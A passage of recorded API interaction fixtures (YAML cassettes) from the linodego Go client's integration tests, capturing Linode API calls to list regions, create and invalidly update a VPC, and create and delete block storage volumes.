vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVPC_Update_Invalid.yaml000066400000000000000000000465411455402072200317110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1700036171144305000","region":"es-mad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 10255, "label": "go-test-vpc-1700036171144305000", "description": "", "region": "es-mad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"updated_invalid_label","description":"updated description"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10255 method: PUT response: body: '{"errors": [{"reason": "Label must include only ASCII letters, numbers, and dashes", "field": "label"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Connection: - keep-alive Content-Length: - "104" Content-Type: - application/json Server: - nginx X-Accepted-Oauth-Scopes: - vpc:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 BAD REQUEST code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10255 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVolume_Create.yaml000066400000000000000000000241261455402072200310360ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-create","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 566464, "status": "creating", "label": "go-vol-test-create", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-create", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "323" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566464 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVolume_Get.yaml000066400000000000000000000275201455402072200303530ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": 